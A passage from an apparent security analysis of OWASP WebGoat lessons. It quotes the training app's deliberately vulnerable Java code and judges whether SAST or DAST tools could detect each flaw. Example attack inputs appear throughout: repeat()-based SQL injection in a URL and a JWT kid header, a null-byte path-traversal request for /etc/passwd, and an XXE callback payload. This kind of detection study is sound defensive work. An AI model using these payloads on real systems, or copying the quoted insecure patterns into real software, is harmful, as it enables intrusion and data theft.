`/WebGoat/SqlInjectionMitigations/servers?column=(select+repeat('a',50000000)+from+information_schema.tables)`\n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/1`\n\n**Source:**  - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:**\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file.\n\n```text\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java#L31-L32\n\npublic AttackResult uploadFileHandler(@RequestParam(\"uploadedFile\") MultipartFile file, @RequestParam(value = \"fullName\", required = false) String fullName) {\n    return super.execute(file, fullName);\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter.\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it.\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint.\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities.\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 3)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/2`\n\n**Source:**  - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:**\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supply the file contents to create a new file. In this lesson filtering is done on user input, replacing `../` with an empty string.\n\n```text\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java#L24-L28\n\n    public AttackResult uploadFileHandler(\n            @RequestParam(\"uploadedFileFix\") MultipartFile file,\n            @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n        return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n    }\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** - Yes\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter.\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it.\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint.\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities.\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 4)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/3`\n\n**Source:**  - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:**\nThis lessons goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file. In this lesson the filename is taken from the `MultipartFile.getOriginalFilename()` which is still user input, as it is possible to modify the filename part of a Multipart upload:\n```text\nContent-Disposition: form-data; name=\"uploadedFileRemoveUserInput\"; filename=\"../../test.html\"\n```\n\n```text\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L24-L28\n\npublic AttackResult uploadFileHandler(\n        @RequestParam(\"uploadedFileFix\") MultipartFile file,\n        @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n    return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the uploadFileHandler fullName parameter, which originates from the `MultipartFile.getOriginalFilename()` from `ProfileUploadRemoveUserInput.java`.\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it.\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint.\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities.\n---\n\n### (A1) Injection > Path traversal > Retrieving other files with a path traversal\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/4`\n\n**Source:**  - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:**\nThis lesson's goal is to retrieve a particular file from the file system. It uses a rather uncommon method of validating the entire query string via `request.getQueryString()` to see if it contains `..` or `/`. While technically the call to `new File` is vulnerable to path traversal attacks, it is not actually an exploitable arbitrary local file inclusion vulnerability. It can only return files which are jpg's, and null-byte attacks are not possible due to calls to FileCopyUtils which validates that the path does not contain null bytes.\n\n```text\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L75-94\n\npublic ResponseEntity\u003C?> getProfilePicture(HttpServletRequest request) {\n    var queryParams = request.getQueryString();\n    if (queryParams != null && (queryParams.contains(\"..\") || queryParams.contains(\"/\"))) {\n        return ResponseEntity.badRequest().body(\"Illegal characters are not allowed in the query params\");\n    }\n    try {\n        var id = request.getParameter(\"id\");\n        var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");\n\n        if (catPicture.getName().toLowerCase().contains(\"path-traversal-secret.jpg\")) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .body(FileCopyUtils.copyToByteArray(catPicture));\n        }\n        if (catPicture.exists()) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n                    .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));\n        }\n    ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted. However, the File object is only used in calls to either `getName()` or `FileCopyUtils` which validates that the filename does not contain null bytes. So while it's technically vulnerable, it is not exploitable for arbitrary file access.\n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it.\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved.\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath`, which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, a DAST tool would most likely be unable to identify this as a flaw. Most DAST tools use hardcoded filepaths such as `/etc/passwd` or `c:/windows/win.ini` when attempting to access arbitrary files.\n\n---\n\n\u003C/details>\n\n## (A2) Broken Authentication\n\n---\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A2) Broken Authentication > Authentication Bypasses > 2FA Password Reset\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/AuthBypass.lesson/1`\n\n**Source:** - webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java\n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\n\n**Lesson:**\nThis lesson is for bypassing 2FA password reset by removing POST parameters.\n\n```text\nwebgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java#L69-86\n\npublic boolean verifyAccount(Integer userId, HashMap\u003CString, String> submittedQuestions) {\n    //short circuit if no questions are submitted\n    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion0\") && !submittedQuestions.get(\"secQuestion0\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion1\") && !submittedQuestions.get(\"secQuestion1\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\"))) {\n        return false;\n    }\n\n    // else\n    return true;\n\n}\n\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson is a hypothetical case where it 'fails open.' In other words by not submitting the validated parameters, the checks are never executed and the verifyAccount method returns true.\n\nSAST tools can not determine 'reasoning' of a methods purpose. This method is not wired into any obvious framework or method that would hint for the SAST tool to know it's for authentication purposes.\n\n**DAST Reasoning:**\n\nMuch like above, this is a hypothetical case. There is no context around the lesson that could assist a DAST tool in knowing it's testing a password reset function.\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT signing\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/3`\n\n**Source:** - webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\n\n**Lesson:**\nThis lesson is for modifying JWT claims to impersonate or elevate privileges. It is a multi-step process. First to get a JWT value you need to use the fake 'login' `/JWT/votings/login?user=` endpoint, which sets it in an HTTP cookie. Next, the goal is to bypass authorization checks and reset the votes by issuing a POST request to the `/JWT/votings` with a modified token. The modifications require setting the alg to None and changing the admin parameter to true.\n```text\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java#L163-165\n\nJwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\nClaims claims = (Claims) jwt.getBody();\nboolean isAdmin = Boolean.valueOf((String) claims.get(\"admin\"));\n```\n\n**Can SAST Find?** - Probable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool would need to be used in conjunction with a dependency scanning solution that looked for vulnerable libraries. This vulnerability exists due to the dependency on `io.jsonwebtoken` version 0.7.0. Using static analysis alone would be difficult for a SAST tool to identify that the `setSigningKey` would be ignored if the algorithm was set to `None`. Additionally, authorization issues are usually difficult for SAST to identify in terms of simple conditional statements. \n**DAST Reasoning:**\n\nVulnerabilities that require multiple steps are usually difficult for DAST tools to identify. If the JWT was used in an authentication endpoint, it may be possible for a DAST tool to identify a vulnerability. It would attempt to modify the JWT and determine if it was able to successfully login. A DAST tool would be unable to determine that the secondary `/JWT/votings` endpoint suffers from verification flaw.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT cracking\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/4`\n\n**Source:** - webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\n\n**Lesson:**\nThis lesson is for cracking a JWT value which uses an insecure cryptographic algorithm. `HS256` JWT values include a signature which can generated and compared by brute forcing tools.\n```text\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java#L57-68\n\npublic String getSecretToken() {\n    return Jwts.builder()\n            .setIssuer(\"WebGoat Token Builder\")\n            .setAudience(\"webgoat.org\")\n            .setIssuedAt(Calendar.getInstance().getTime())\n            .setExpiration(Date.from(Instant.now().plusSeconds(60)))\n            .setSubject(\"tom@webgoat.org\")\n            .claim(\"username\", \"Tom\")\n            .claim(\"Email\", \"tom@webgoat.org\")\n            .claim(\"Role\", new String[]{\"Manager\", \"Project Administrator\"})\n            .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();\n    }\n\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool that included this particular `Jwts` library signatures would be able to identify that the `signWith` method is a potential sink and the first parameter determines if a vulnerability exists, depending on the argument's value.\n\n**DAST Reasoning:**\n\nA DAST tool with builtin JWT cracking functionality would be able to extract JWT values encountered during crawling and attempt to brute force the signature. Note the ability to actually determine vulnerability would be dependent on the weakness of the JWT key used for signing.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > Refreshing a token (incomplete lesson)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/6`\n\n**Source:** - webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\n\n**Lesson:**\n\nThis lesson as of v8.1.0 is still incomplete, as the lesson page details do not give enough information to solve. Only by looking at the source and getting the username/password can one solve this challenge. The underlying flaw is that the application does not properly associate refresh tokens with access tokens, allowing one who has captured a leaked refresh token to update someone else's access token.\n\n```text\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java#L116-122\n\ntry {\n    Jwt\u003CHeader, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n    user = (String) jwt.getBody().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n} catch (ExpiredJwtException e) {\n    user = (String) e.getClaims().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n}\n...\n```\n\n**Can SAST Find?** - Improbable\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would not be able to reason the logic behind requiring the access token and refresh token to be linked unless this logic was built into the JWT library. It could be possible with a very strictly defined set of a rule sets to find this flaw, but it is highly improbable.\n**DAST Reasoning:**\n\nA DAST tool could be configured to contain two user accounts and authorize to get both tokens. It could then attempt to switch one user's refresh token with the secondary user and determine if the server responded with a new access token.\n---\n\n### (A2) Broken Authentication > JWT tokens > Final challenges\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/7`\n\n**Source:** - webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\n\n**Lesson:**\nThis lesson is a highly improbable series of events that could lead to overwriting a signing key stored in a database. The underlying vulnerability here is actually SQL injection that is exploitable by modifying the `kid` JWT field.\n```text\nL162-176\nJwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {\n    @Override\n    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n        final String kid = (String) header.get(\"kid\");\n        try (var connection = dataSource.getConnection()) {\n            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n            while (rs.next()) {\n                return TextCodec.BASE64.decode(rs.getString(1));\n            }\n        } catch (SQLException e) {\n            errorMessage[0] = e.getMessage();\n        }\n        return null;\n    }\n}).parseClaimsJws(token);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would flag this particular issue as a SQL injection flaw. SAST tools with taint tracking capabilities, or one that has added signatures for sources and sinks of this JWT library, could follow that the token was decoded and the `kid` came from user input. It would then identify on line 167 user supplied input was used in generation of a dynamically generated SQL query. SAST tools which take a more grep like approach, would most likely flag line 167 as the vulnerability since string concatenation used in a SQL query.\n\n**DAST Reasoning:**\n\nA DAST tool could be configured to decode JWT claims and attempt SQL injection in the various fields.\n\n**Example Attack:**\n- Decode JWT\n- Modify the JWT header\n```text\n{\n  \"typ\": \"JWT\",\n  \"kid\": \"'+(select repeat('a',50000000) from INFORMATION_SCHEMA.tables)+'\",\n  \"alg\": \"HS256\"\n}\n```\n- Re-encode the token\n- Send request during a timing attack verification phase.\n\n---\n\n### (A2) Broken Authentication > Password reset > Security questions\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/3`\n\n**Source:** - webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate the ability of guessing or brute forcing security questions. The users and security questions are hardcoded. The goal is to guess one of them.\n\n```text\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L45-51\n\nstatic {\n    COLORS.put(\"admin\", \"green\");\n    COLORS.put(\"jerry\", \"orange\");\n    ...\n}\n\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L63-68\n\nString validAnswer = COLORS.get(username.toLowerCase());\nif (validAnswer == null) {\n    return failed(this).feedback(\"password-questions-unknown-user\").feedbackArgs(username).build();\n} else if (validAnswer.equals(securityQuestion)) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?**\n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool would be unable to determine that this lesson has any relation to login logic as it's doing a simple existence check of inputs against a map value.\n\n**DAST Reasoning:**\n\nA DAST tool would need to be configured to treat this form as a login form for it to detect any potential discrepancy between a valid and invalid security question answer.\n\n---\n\n### (A2) Broken Authentication > Password reset > Creating the password reset link\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/5`\n\n**Source:** - webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate incorrect usage of user supplied data (taken from the host header) in constructing a link. The goal is to abuse this to get a hypothetical user to click on a password reset link that points to the wrong host.\n\n```text\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java#L60-74\n\nString resetLink = UUID.randomUUID().toString();\nResetLinkAssignment.resetLinks.add(resetLink);\nString host = request.getHeader(\"host\");\nif (hasText(email)) {\n    if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains(\"9090\")||host.contains(\"webwolf\"))) { //User indeed changed the host header.\n        ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);\n        fakeClickingLinkEmail(host, resetLink);\n    } else {\n        try {\n            sendMailToUser(email, host, resetLink);\n        } catch (Exception e) {\n            return failed(this).output(\"E-mail can't be send. please try again.\").build();\n        }\n    }\n}\n```\n\n**Can SAST Find?** - Improbable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a hypothetical issue that most likely would not occur in the wild. There is no real way of a SAST tool to know that the extracted host header was incorrectly used in constructing a link.\n\n**DAST Reasoning:**\n\nA DAST tool would first need to be configured to treat this form as a login or password reset form. It would then also need to know that the conditions for getting a response required the host header to contain port 9090 or the string `webwolf`. This is a highly improbable set of conditions a DAST tool (or even a human without source) would need to know to have the flaw triggered. Additionally, this flaw requires a form of user interaction (although it's faked on line 66) which a DAST tool would not be able to do.\n\n---\n\u003C/details>\n\n## (A3) > Sensitive Data Exposure\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n---\n\n### (A3) > Sensitive Data Exposure > Insecure Login > Let's try\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/InsecureLogin.lesson/1`\n\n**Source:** - webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java\n\n**Lesson:**\n\nThis lesson is to demonstrate sending credentials over plain text communications. It does not contain any real flaws.\n\n```text\nwebgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java#L35-37\n\nif (username.toString().equals(\"CaptainJack\") && password.toString().equals(\"BlackPearl\")) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?** - Possible (different issue)\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe source is only doing a simple equality test between user input and two constant values. There is a chance, depending on the SAST tool, that it would flag the password equality check as a hardcoded password.\n**DAST Reasoning:**\n\nIf this page were configured as a login page and it were accessed over HTTP, there is a chance a DAST tool would report this as credentials being sent over a plain text transport.\n\n---\n\u003C/details>\n\n## (A4) XML External Entities (XXE)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A4) XML External Entities (XXE) > XXE > Let’s try\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3`\n\n**Source:** - webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\nClass: Injection\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path. The target XML parser `JAXB` will decode the `SYSTEM` entity and return the contents of the specified entity.\n\n```text\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools should have signatures for common XML parsers like `JAXB` and determine if they do or do not disable entity and DTD resolution prior to processing user input.\n\n**DAST Reasoning:**\n\nMost DAST tools should be able to find this issue even though the attack request's response does not immediately contain the result. A DAST tool should be configured to handle callback related attacks and attempt to force the XML parser to use a URL instead of reading a system file. If the parser is vulnerable, and no egress filtering is in place, the parser will end up initiating a request to the specified URL.\n\n**Example Attack:**\n- `\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://callbackserver:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Modern REST framework\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/6`\n\n**Source:** - webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path, much like ``http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3``. The only difference is the `/WebGoat/xxe/content-type` endpoint accepts both JSON and XML. This is more of a hypothetical situation due to unrealistic conditional statements used to only allow valid responses if they are met. The same underlying `parseXml` is called for both of these lessons.\n\n```text\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java#L56-64\n\nif (APPLICATION_JSON_VALUE.equals(contentType)) {\n            comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n            attackResult = failed(this).feedback(\"xxe.content.type.feedback.json\").build();\n        }\n\n        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n            String error = \"\";\n            try {\n                Comment comment = comments.parseXml(commentStr);\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool will most likely disregard the conditional checks necessary to call the `comments.parseXml` on line 64 of `ContentTypeAssignment`. It should determine that the input string is parsed by an XML parser in `Comments.java` that did not disable entity or DTD resolution.\n\n**DAST Reasoning:**\n\nMost DAST tools will attempt to inject into parameter names and values, not transform the entire method from one to the other. The conditional checks in `ContentTypeAssignment` lines 56 and 61 are not realistic and would most likely block legitimate attack cases.\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Blind XXE assignment\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/10`\n\n**Source:** - webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it post the contents of a file to a callback server. The same underlying `parseXml` is called for this lesson as well.\n\n```text\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java#L56-64\n\n public AttackResult addComment(@RequestBody String commentStr) {\n        //Solution is posted as a separate comment\n        if (commentStr.contains(CONTENTS)) {\n            return success(this).build();\n        }\n\n        try {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n        } catch (Exception e) {\n            return failed(this).output(e.toString()).build();\n        }\n        return failed(this).build();\n    }\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST 